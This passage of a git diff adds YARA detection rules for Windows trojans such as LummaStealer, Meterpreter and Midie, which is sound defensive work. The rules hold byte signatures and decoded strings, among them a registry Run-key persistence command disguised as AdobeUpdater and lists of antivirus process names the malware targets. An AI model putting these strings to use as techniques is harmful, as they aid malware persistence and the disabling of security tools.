00 01 00 01 00 00 " + + strings : + $a_01_0 = {40 80 f6 00 45 08 da 40 80 ce 00 41 80 f2 ff 41 20 f2 41 88 fb 41 80 f3 ff 40 88 de 44 20 de 80 f3 ff 40 20 df 40 08 fe 45 88 d3 41 20 f3 41 30 f2 45 08 d3 41 f6 c3 01 b8 37 89 da 81 b9 29 a3 60 75 0f 45 c8 89 4c 24 64 e9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PP_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PP_MTB.yar new file mode 100644 index 0000000000..081cc9b728 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PP_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_LummaStealer_PP_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.PP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_03_0 = {48 89 8c 24 ?? 00 00 00 48 8d 0d 29 58 15 00 48 89 8c 24 ?? 00 00 00 48 8b 1d aa 99 34 00 48 8d 05 43 74 15 00 48 8d 8c 24 ?? 00 00 00 bf 01 00 00 00 48 89 fe e8 ce 78 eb ff 48 81 c4 28 01 00 00 } //2 + $a_01_1 = {72 65 67 20 61 64 64 20 22 48 4b 43 55 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 22 20 2f 76 20 41 64 6f 62 65 55 70 64 61 74 65 72 20 2f 74 20 52 45 47 5f 53 5a 20 2f 64 20 22 25 73 22 20 2f 66 } //1 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v AdobeUpdater /t REG_SZ /d "%s" /f + $a_01_2 = {63 6d 64 2e 65 78 65 20 2f 63 } //1 cmd.exe /c + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_RA_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_RA_MTB.yar new file mode 100644 index 0000000000..04ec092e36 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_RA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_RA_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.RA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 b8 55 e4 28 b2 b8 67 2a af 5f 44 0f 44 c0 bb eb a2 46 1d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SFH_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SFH_MTB.yar new file mode 100644 index 0000000000..ffb10b1b8e --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SFH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_SFH_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.SFH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 63 45 34 42 80 34 30 44 8b 45 34 83 c0 01 89 45 2c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SHJI_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SHJI_MTB.yar new file mode 100644 index 0000000000..573a07c6e4 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SHJI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_SHJI_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.SHJI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {48 83 ec 18 48 8d 6c 24 10 48 8b 05 a4 93 ff ff 48 31 e8 48 89 45 00 8b 0d 33 a4 ff ff 8b 05 31 a4 ff ff 8d 71 ff 0f af f1 89 f1 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SLBP_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SLBP_MTB.yar new file mode 100644 index 0000000000..0568e741fd --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SLBP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_SLBP_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.SLBP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {48 83 ec 38 48 8d 6c 24 30 0f 29 7d f0 0f 29 75 e0 48 8b 05 8c ad 02 00 48 31 e8 48 89 45 d8 8b 05 57 ba 02 00 8b 0d 55 ba 02 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SMK_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SMK_MTB.yar new file mode 100644 index 0000000000..8799d25972 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_SMK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_SMK_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.SMK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {41 89 d4 41 89 cd 48 8b 05 f8 6d 03 00 48 31 e8 48 89 45 00 8b 05 cb 7b 03 00 8b 0d c9 7b 03 00 8d 50 ff } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_TL_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_TL_MTB.yar new file mode 100644 index 0000000000..7a65b30d70 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_TL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_TL_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.TL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {08 c3 41 b8 05 4c 1d 48 41 bd f8 c5 1f 90 45 0f 45 c5 bf 05 4c 1d 48 41 0f 45 fc be 82 1c dd b4 41 0f 45 f7 b8 c0 73 72 70 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_TRD_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_TRD_MTB.yar new file mode 100644 index 0000000000..3b4e573ae2 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_TRD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_TRD_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.TRD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 8a 84 04 ?? 01 00 00 48 63 8c 24 88 00 00 00 41 30 04 0e 8b 84 24 88 00 00 00 83 c0 01 89 44 24 74 8b 05 ?? ?? ?? ?? 8d 48 ff 0f af c8 f6 c1 01 b8 6f d3 a3 d3 b9 e9 b6 aa 85 e9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_YAK_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_YAK_MTB.yar new file mode 100644 index 0000000000..ab56dbdf89 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_YAK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_LummaStealer_YAK_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.YAK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {3d ab 30 f1 93 0f 8e ?? ?? ?? ?? 3d 66 bd 2d 9a 0f 8e ?? ?? ?? ?? 3d 67 bd 2d 9a } //1 + $a_01_1 = {0f af c8 f6 c1 01 b8 25 f4 dd 44 b9 29 b0 01 38 } //1 + $a_01_2 = {48 8b 4d b8 0f b6 04 01 48 63 4d f0 48 8b 55 90 30 04 0a 8b 5d f0 83 c3 01 } //10 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*10) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_ZSS_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_ZSS_MTB.yar new file mode 100644 index 0000000000..b564eaf1c3 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_ZSS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_ZSS_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.ZSS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {44 89 f6 4d 89 fe 4d 89 ef 48 8d 7d f8 41 bd 0b 29 05 4d 01 c1 0f b6 c1 48 8b 4d ?? 0f b6 04 01 48 63 4d f0 41 30 04 0f 44 8b 65 ?? 41 83 c4 01 b8 c5 bc 26 c3 3d d1 c3 86 f7 0f 8e ?? ?? ?? ?? e9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_Lummastealer_ZTS_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_Lummastealer_ZTS_MTB.yar new file mode 100644 index 0000000000..61eaa4e099 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_Lummastealer_ZTS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lummastealer_ZTS_MTB{ + meta: + description = "Trojan:Win64/Lummastealer.ZTS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 0f b6 84 04 ?? ?? ?? ?? 48 63 4c 24 70 48 8b 54 24 28 30 04 0a 8b 44 24 70 8b 44 24 70 8b 44 24 70 8b 44 24 70 b8 1d 32 cf 80 3d a7 a0 44 e5 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummacStealer/Trojan_Win64_LummacStealer_IY_MTB.yar b/Trojan/Win64/LummacStealer/Trojan_Win64_LummacStealer_IY_MTB.yar new file mode 100644 index 0000000000..04849cd486 --- /dev/null +++ b/Trojan/Win64/LummacStealer/Trojan_Win64_LummacStealer_IY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummacStealer_IY_MTB{ + meta: + description = "Trojan:Win64/LummacStealer.IY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {44 89 c2 44 0f b6 44 15 ?? 44 01 c0 25 ?? ?? ?? ?? 48 63 d0 8a 4c 15 ?? 88 4d ?? 48 8b 95 ?? ?? ?? ?? 4c 8b 4d ?? 42 0f b6 04 0a 44 0f b6 45 ?? 44 31 c0 88 c1 48 8b 95 ?? ?? ?? ?? 4c 8b 4d ?? 42 88 0c 0a 48 8b 45 ?? 48 83 c0 ?? 48 89 45 ?? e9 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummacStealer/Trojan_Win64_LummacStealer_WAI_MTB.yar b/Trojan/Win64/LummacStealer/Trojan_Win64_LummacStealer_WAI_MTB.yar new file mode 100644 index 0000000000..64a50160b3 --- /dev/null +++ b/Trojan/Win64/LummacStealer/Trojan_Win64_LummacStealer_WAI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummacStealer_WAI_MTB{ + meta: + description = "Trojan:Win64/LummacStealer.WAI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8a 04 01 48 63 4d ?? 48 8b 55 ?? 30 04 0a 8b 45 ?? 83 c0 ?? 89 45 ?? 8b 05 ?? ?? ?? ?? 8d 48 ?? 0f af c8 f6 c1 ?? b8 ?? ?? ?? ?? b9 ?? ?? ?? ?? e9 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/MalDrv/Trojan_Win64_MalDrv_I_MTB.yar b/Trojan/Win64/MalDrv/Trojan_Win64_MalDrv_I_MTB.yar new file mode 100644 index 0000000000..8fca7f451e --- /dev/null +++ b/Trojan/Win64/MalDrv/Trojan_Win64_MalDrv_I_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win64_MalDrv_I_MTB{ + meta: + description = "Trojan:Win64/MalDrv.I!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 00 " + + strings : + $a_01_0 = {44 72 69 76 65 72 45 6e 74 72 79 20 66 61 69 6c 65 64 20 30 78 25 78 20 66 6f 72 20 64 72 69 76 65 72 20 25 77 } //1 DriverEntry failed 0x%x for driver %w + $a_01_1 = {5c 52 65 6c 65 61 73 65 5c 44 44 72 69 76 65 72 2e 70 64 62 } //1 \Release\DDriver.pdb + $a_01_2 = {4d 70 43 6d 64 52 75 6e 2e 65 78 65 } //1 MpCmdRun.exe + $a_01_3 = {53 6d 61 72 74 53 63 72 65 65 6e 2e 65 78 65 } //1 SmartScreen.exe + $a_01_4 = {53 65 63 75 72 69 74 79 48 65 61 6c 74 68 53 79 73 74 72 61 79 2e 65 78 65 } //1 SecurityHealthSystray.exe + $a_01_5 = {53 65 63 75 72 69 74 79 48 65 61 6c 74 68 48 6f 73 74 2e 65 78 65 } //1 SecurityHealthHost.exe + $a_01_6 = {75 68 73 73 76 63 2e 65 78 65 } //1 uhssvc.exe + $a_01_7 = {4d 73 4d 70 45 6e 67 2e 65 78 65 } //1 MsMpEng.exe + $a_01_8 = {4d 70 44 65 66 65 6e 64 65 72 43 6f 72 65 53 65 72 76 69 63 65 2e 65 78 65 } //1 MpDefenderCoreService.exe + $a_01_9 = {4e 69 73 53 72 76 2e 65 78 65 } //1 NisSrv.exe + $a_01_10 = {4d 73 53 65 6e 73 65 2e 65 78 65 } //1 MsSense.exe + $a_01_11 = {53 67 72 6d 42 72 6f 6b 65 72 2e 65 78 65 } //1 SgrmBroker.exe + $a_01_12 = {53 65 63 75 72 69 74 79 48 65 61 6c 74 68 53 65 72 76 69 63 65 2e 65 78 65 } //1 SecurityHealthService.exe + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Trojan/Win64/Manuscrypt/Trojan_Win64_Manuscrypt_ARAX_MTB.yar b/Trojan/Win64/Manuscrypt/Trojan_Win64_Manuscrypt_ARAX_MTB.yar new file mode 100644 index 0000000000..b9a3c464f8 --- /dev/null +++ b/Trojan/Win64/Manuscrypt/Trojan_Win64_Manuscrypt_ARAX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Manuscrypt_ARAX_MTB{ + meta: + description = "Trojan:Win64/Manuscrypt.ARAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {80 74 04 60 3a 48 ff c0 48 3d 8c 0a 00 00 7c f0 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/MarteLoader/Trojan_Win64_MarteLoader_YAF_MTB.yar b/Trojan/Win64/MarteLoader/Trojan_Win64_MarteLoader_YAF_MTB.yar new file mode 100644 index 0000000000..49b603a823 --- /dev/null +++ b/Trojan/Win64/MarteLoader/Trojan_Win64_MarteLoader_YAF_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win64_MarteLoader_YAF_MTB{ + meta: + description = "Trojan:Win64/MarteLoader.YAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 00 " + + strings : + $a_01_0 = {0f b6 0c 0a 33 c1 48 63 4c 24 28 48 8b 94 24 40 01 00 00 88 04 } //10 + $a_03_1 = {48 8d 15 5c 80 02 00 48 8d 4c 24 6c e8 ?? ?? ?? ?? 85 c0 75 08 c7 44 } //10 + $a_01_2 = {47 00 6f 00 6c 00 64 00 56 00 65 00 6b 00 52 00 6f 00 67 00 65 00 72 00 53 00 } //1 GoldVekRogerS + $a_01_3 = {41 00 76 00 61 00 73 00 74 00 53 00 76 00 63 00 2e 00 65 00 78 00 65 00 } //1 AvastSvc.exe + $a_01_4 = {62 00 64 00 61 00 67 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 } //1 bdagent.exe + $a_01_5 = {65 00 6b 00 72 00 6e 00 2e 00 65 00 78 00 65 00 } //1 ekrn.exe + condition: + ((#a_01_0 & 1)*10+(#a_03_1 & 1)*10+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=24 + +} \ No newline at end of file diff --git a/Trojan/Win64/MeduzaStealer/Trojan_Win64_MeduzaStealer_PYY_MTB.yar b/Trojan/Win64/MeduzaStealer/Trojan_Win64_MeduzaStealer_PYY_MTB.yar new file mode 100644 index 0000000000..9d806413dc --- /dev/null +++ b/Trojan/Win64/MeduzaStealer/Trojan_Win64_MeduzaStealer_PYY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_MeduzaStealer_PYY_MTB{ + meta: + description = "Trojan:Win64/MeduzaStealer.PYY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {0f b6 c3 02 c0 8d 0c 18 41 02 c9 0f be f9 41 23 f8 8b c3 99 41 f7 fa 48 63 ca 42 0f b6 04 21 40 32 c7 42 88 04 21 ff c3 3b de 7c } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Meterpreter/Trojan_Win64_Meterpreter_AHB_MTB.yar b/Trojan/Win64/Meterpreter/Trojan_Win64_Meterpreter_AHB_MTB.yar new file mode 100644 index 0000000000..f945622c90 --- /dev/null +++ b/Trojan/Win64/Meterpreter/Trojan_Win64_Meterpreter_AHB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Meterpreter_AHB_MTB{ + meta: + description = "Trojan:Win64/Meterpreter.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {8b 85 4c 10 00 00 48 98 0f b6 84 05 f0 07 00 00 32 85 4b 10 00 00 89 c2 8b 85 4c 10 00 00 48 98 88 54 05 b0 83 85 4c 10 00 00 01 8b 85 4c 10 00 00 3d 39 08 00 00 76 } //2 + $a_01_1 = {48 8d 95 e0 07 00 00 48 8b 85 48 10 00 00 48 01 d0 0f b6 00 32 85 37 10 00 00 48 8d 4d a0 48 8b 95 48 10 00 00 48 01 ca 88 02 48 83 85 48 10 00 00 01 48 81 bd 48 10 00 00 39 08 00 00 76 } //2 + $a_03_2 = {b9 07 01 00 00 48 89 c7 48 89 d6 f3 48 a5 48 89 f2 48 89 f8 0f b7 0a 66 89 08 c6 85 ?? 10 00 00 42 } //3 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_03_2 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Meterpreter/Trojan_Win64_Meterpreter_GAD_MTB.yar b/Trojan/Win64/Meterpreter/Trojan_Win64_Meterpreter_GAD_MTB.yar new file mode 100644 index 0000000000..9831d9a752 --- /dev/null +++ b/Trojan/Win64/Meterpreter/Trojan_Win64_Meterpreter_GAD_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_Meterpreter_GAD_MTB{ + meta: + description = "Trojan:Win64/Meterpreter.GAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_01_0 = {45 44 52 5f 61 74 74 61 63 6b 73 5f 70 61 74 68 3a 73 74 72 69 6e 67 } //2 EDR_attacks_path:string + $a_01_1 = {5c 70 72 6f 67 72 61 6d 64 61 74 61 5c 43 79 6d 75 6c 61 74 65 5c 41 67 65 6e 74 5c 41 74 74 61 63 6b 73 4c 6f 67 73 } //2 \programdata\Cymulate\Agent\AttacksLogs + $a_01_2 = {73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 77 69 6e 64 6f 77 73 2d 73 63 65 6e 61 72 69 6f 73 5c 50 61 79 6c 6f 61 64 73 5c 43 79 6d 75 6c 61 74 65 53 74 61 67 65 6c 65 73 73 4d 65 74 65 72 70 72 65 74 65 72 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 43 79 6d 75 6c 61 74 65 53 74 61 67 65 6c 65 73 73 4d 65 74 65 72 70 72 65 74 65 72 2e 70 64 62 } //2 source\repos\windows-scenarios\Payloads\CymulateStagelessMeterpreter\x64\Release\CymulateStagelessMeterpreter.pdb + $a_00_3 = {54 00 41 00 52 00 47 00 45 00 54 00 52 00 45 00 53 00 4f 00 55 00 52 00 43 00 45 00 } //1 TARGETRESOURCE + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_00_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win64/Midie/Trojan_Win64_Midie_AHB_MTB.yar b/Trojan/Win64/Midie/Trojan_Win64_Midie_AHB_MTB.yar new file mode 100644 index 0000000000..cc98786269 --- /dev/null +++ b/Trojan/Win64/Midie/Trojan_Win64_Midie_AHB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Midie_AHB_MTB{ + meta: + description = "Trojan:Win64/Midie.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 00 " + + strings : + $a_01_0 = {48 03 c8 48 89 4c 24 30 89 44 24 38 0f 28 44 24 30 66 0f 7f 44 24 30 48 8d 85 d0 01 00 00 48 89 44 24 20 4c 8d 8d d8 01 00 00 4c 8d 85 e0 01 00 00 48 8d 95 e8 } //5 + $a_01_1 = {44 8b c0 b8 4f ec c4 4e 41 f7 e8 c1 fa 03 8b ca c1 e9 1f 03 d1 6b ca 1a 44 2b c1 41 8d 50 41 48 8d 4d c0 e8 } //5 + $a_80_2 = {4d 50 33 53 69 6d 57 6e 64 } //MP3SimWnd 5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5+(#a_80_2 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win64/Midie/Trojan_Win64_Midie_AHC_MTB.yar b/Trojan/Win64/Midie/Trojan_Win64_Midie_AHC_MTB.yar new file mode 100644 index 0000000000..963040650b --- /dev/null +++ b/Trojan/Win64/Midie/Trojan_Win64_Midie_AHC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Midie_AHC_MTB{ + meta: + description = "Trojan:Win64/Midie.AHC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,37 00 37 00 03 00 00 " + + strings : + $a_03_0 = {0f 10 45 b0 f3 0f 7f 45 d8 8a 45 c0 88 45 e8 8a 45 c1 88 45 e9 48 8b 45 c8 48 89 45 f0 48 8d 05 ?? ?? ?? ?? 48 89 45 d0 eb 08 48 c7 45 d0 00 } //30 + $a_03_1 = {44 8b c0 b8 ?? ?? ?? ?? 41 f7 e8 c1 fa 03 8b ca c1 e9 1f 03 d1 6b ca 1a 44 2b c1 41 8d 50 41 48 8d 4d c0 e8 } //20 + $a_80_2 = {4d 50 33 53 69 6d 57 6e 64 } //MP3SimWnd 5 + condition: + ((#a_03_0 & 1)*30+(#a_03_1 & 1)*20+(#a_80_2 & 1)*5) >=55 + +} \ No newline at end of file diff --git a/Trojan/Win64/Midie/Trojan_Win64_Midie_GZK_MTB.yar b/Trojan/Win64/Midie/Trojan_Win64_Midie_GZK_MTB.yar new file mode 100644 index 0000000000..405a6178d1 --- /dev/null +++ b/Trojan/Win64/Midie/Trojan_Win64_Midie_GZK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Midie_GZK_MTB{ + meta: + description = "Trojan:Win64/Midie.GZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {b4 1f 4d bf 85 e6 08 f6 9c fa 43 1b 08 1e 32 f9 bf } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Midie/Trojan_Win64_Midie_GZZ_MTB.yar b/Trojan/Win64/Midie/Trojan_Win64_Midie_GZZ_MTB.yar new file mode 100644 index 0000000000..38433d7ce4 --- /dev/null +++ b/Trojan/Win64/Midie/Trojan_Win64_Midie_GZZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Midie_GZZ_MTB{ + meta: + description = "Trojan:Win64/Midie.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_03_0 = {f1 33 cd 31 aa ?? ?? ?? ?? 5a 89 95 ?? ?? ?? ?? 34 04 1e 58 03 15 ?? ?? ?? ?? c9 b7 49 b4 b4 41 e1 f4 } //10 + $a_01_1 = {ec 50 1e 32 62 a7 a4 63 80 } //5 + $a_03_2 = {18 31 10 42 ?? 54 02 20 35 ?? ?? ?? ?? 1a cb } //5 + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*5+(#a_03_2 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Midie/Trojan_Win64_Midie_MDD_MTB.yar b/Trojan/Win64/Midie/Trojan_Win64_Midie_MDD_MTB.yar new file mode 100644 index 0000000000..aee766a100 --- /dev/null +++ b/Trojan/Win64/Midie/Trojan_Win64_Midie_MDD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Midie_MDD_MTB{ + meta: + description = "Trojan:Win64/Midie.MDD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {41 32 c9 41 32 ca 41 88 4c 24 01 49 8d 47 fe 83 e0 07 0f b6 8c 30 ?? ?? ?? ?? c0 e9 04 c0 e2 04 0a ca 41 32 8c 37 ?? ?? ?? ?? 32 cb 41 32 c8 41 88 4c 24 02 49 83 c7 05 49 83 c5 05 4d 8d 64 24 05 49 83 fd 1a 0f 82 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Midie/Trojan_Win64_Midie_NM_MTB.yar b/Trojan/Win64/Midie/Trojan_Win64_Midie_NM_MTB.yar index 5d4b44a4bf..b2ce38db51 100644 --- a/Trojan/Win64/Midie/Trojan_Win64_Midie_NM_MTB.yar +++ b/Trojan/Win64/Midie/Trojan_Win64_Midie_NM_MTB.yar @@ -21,4 +21,15 @@ rule Trojan_Win64_Midie_NM_MTB_2{ condition: ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 +} +rule Trojan_Win64_Midie_NM_MTB_3{ + meta: + description = "Trojan:Win64/Midie.NM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {48 83 7c 24 ?? 00 49 0f 44 d6 4c 8d 44 24 ?? 4c 8d 7c 24 ?? 4c 89 f9 e8 21 f3 ff ff 4c 8d a4 24 } //2 + $a_03_1 = {48 89 ce 0f b6 81 ?? 00 00 00 88 91 ?? 00 00 00 48 8d 0d 67 01 00 00 48 63 04 81 48 01 c8 ff e0 0f b6 c2 ff c8 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + } \ No newline at end of file diff --git a/Trojan/Win64/Midie/Trojan_Win64_Midie_NS_MTB.yar b/Trojan/Win64/Midie/Trojan_Win64_Midie_NS_MTB.yar new file mode 100644 index 0000000000..b8678f2ae8 --- /dev/null +++ b/Trojan/Win64/Midie/Trojan_Win64_Midie_NS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Midie_NS_MTB{ + meta: + description = "Trojan:Win64/Midie.NS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {4d 29 fe 4c 39 f7 4d 89 f0 4c 0f 42 c7 48 89 d9 31 d2 e8 a4 fe ff ff 42 8d 0c fd 00 00 00 00 48 d3 e0 48 0b 46 ?? 48 89 46 ?? 49 39 fe } 